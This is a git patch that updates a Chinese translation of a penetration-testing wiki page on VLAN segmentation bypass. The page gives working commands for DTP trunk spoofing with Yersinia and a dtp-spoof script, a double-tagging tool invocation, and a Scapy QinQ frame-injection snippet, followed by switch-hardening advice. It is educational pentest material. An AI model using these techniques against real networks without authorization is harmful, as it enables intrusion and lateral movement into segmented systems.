From df0165a110348d3b61339ecaedd078e21185f59c Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 18 Jul 2025 18:09:43 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-network/ --- .../lateral-vlan-segmentation-bypass.md | 76 ++++++++++++++++++- 1 file changed, 72 insertions(+), 4 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index 8c18bfe92..20a0cc037 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -如果可以直接访问交换机,可以绕过VLAN分段。这涉及将连接端口重新配置为干道模式,为目标VLAN建立虚拟接口,并设置IP地址,具体取决于场景,可以是动态(DHCP)或静态的(**有关更多详细信息,请查看 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9))。** +如果可以直接访问交换机,则可以绕过VLAN分段。这涉及将连接端口重新配置为干道模式,为目标VLAN建立虚拟接口,并根据场景设置IP地址(动态(DHCP)或静态)(**有关更多详细信息,请查看 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9))。** 最初,需要识别特定的连接端口。这通常可以通过CDP消息完成,或通过**include**掩码搜索端口。 -**如果CDP无法操作,可以尝试通过搜索MAC地址进行端口识别**: +**如果CDP未运行,可以尝试通过搜索MAC地址进行端口识别**: ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` -在切换到干道模式之前,应编制现有VLAN的列表,并确定它们的标识符。然后将这些标识符分配给接口,从而通过干道访问各种VLAN。例如,正在使用的端口与VLAN 10相关联。 +在切换到干线模式之前,应编制现有VLAN的列表,并确定它们的标识符。然后将这些标识符分配给接口,从而通过干线访问各种VLAN。例如,正在使用的端口与VLAN 10相关联。 ``` SW1# show vlan brief ``` @@ -48,8 +48,76 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 最终,这个过程使得绕过VLAN分段成为可能,从而促进对任何VLAN网络的无限制访问,并为后续操作奠定基础。 -## References +--- + +## 其他VLAN跳跃技术(无特权交换机CLI) + +前面的方法假设已获得交换机的认证控制台或Telnet/SSH访问。在实际操作中,攻击者通常连接到一个**常规接入端口**。以下的第2层技巧通常允许您在不登录交换机操作系统的情况下横向移动: + +### 1. 使用动态干道协议(DTP)进行交换机欺骗 + +启用DTP的Cisco交换机会乐于协商干道,如果对端声称是交换机。构造一个**DTP “desirable”**或**“trunk”**帧将接入端口转换为一个802.1Q干道,承载*所有*允许的VLAN。 + +*Yersinia*和几个PoC自动化了这个过程: +```bash +# Become a trunk using Yersinia (GUI) +$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking + +# Python PoC (dtp-spoof) +$ git clone https://github.com/fleetcaptain/dtp-spoof.git +$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable +``` +一旦端口切换到 trunk,您可以创建 802.1Q 子接口,并按照上一节所示进行 pivot。现代 Linux 内核不再需要 *vconfig*;而是使用 *ip link*: +```bash +sudo modprobe 8021q +sudo ip link add link eth0 name eth0.30 type vlan id 30 +sudo ip addr add 10.10.30.66/24 dev eth0.30 +sudo ip link set eth0.30 up +``` +### 2. 双标记(原生VLAN滥用) + +如果攻击者位于**原生(未标记)VLAN**,则带有*两个*802.1Q头的构造帧可以“跳跃”到第二个VLAN,即使端口被锁定在接入模式。工具如**VLANPWN DoubleTagging.py**(2022-2024更新)自动化了注入: +```bash +python3 DoubleTagging.py \ +--interface eth0 \ +--nativevlan 1 \ +--targetvlan 20 \ +--victim 10.10.20.24 \ +--attacker 10.10.1.54 +``` +数据包逐步分析: +1. 外部标签 (1) 被第一个交换机剥离,因为它与本地 VLAN 匹配。 +2. 内部标签 (20) 现在暴露;帧被转发到 VLAN 20 的干线。 + +该技术在 2025 年仍然适用于将本地 VLAN 保持为默认并接受未标记帧的网络。 + +### 3. QinQ (802.1ad) 堆叠 + +许多企业核心支持 *Q-in-Q* 服务提供商封装。在允许的情况下,攻击者可以在提供商 (S-tag) 内隧道任意 802.1Q 标记的流量,以跨越安全区域。捕获 802.1ad 以太网类型 0x88a8,并尝试使用 Scapy 弹出外部标签: +```python +from scapy.all import * +outer = 100 # Service tag +inner = 30 # Customer / target VLAN +payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP() +frame = Dot1Q(type=0x88a8, vlan=outer)/payload +sendp(frame, iface="eth0") +``` +--- + +## 防御建议 + +1. 在所有面向用户的端口上禁用 DTP: `switchport mode access` + `switchport nonegotiate`。 +2. 将每个干线的本地 VLAN 更改为 **未使用的黑洞 VLAN** 并标记: `vlan dot1q tag native`。 +3. 在干线上修剪不必要的 VLAN: `switchport trunk allowed vlan 10,20`。 +4. 强制实施端口安全、DHCP 嗅探和动态 ARP 检查,以限制恶意的二层活动。 +5. 优先使用私有 VLAN 或 L3 分段,而不是仅依赖 802.1Q 分离。 + +--- + +## 参考文献 - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) +- VLANPWN 攻击工具包 – +- Twingate "什么是 VLAN 跳跃?" (2024年8月) – {{#include ../../banners/hacktricks-training.md}}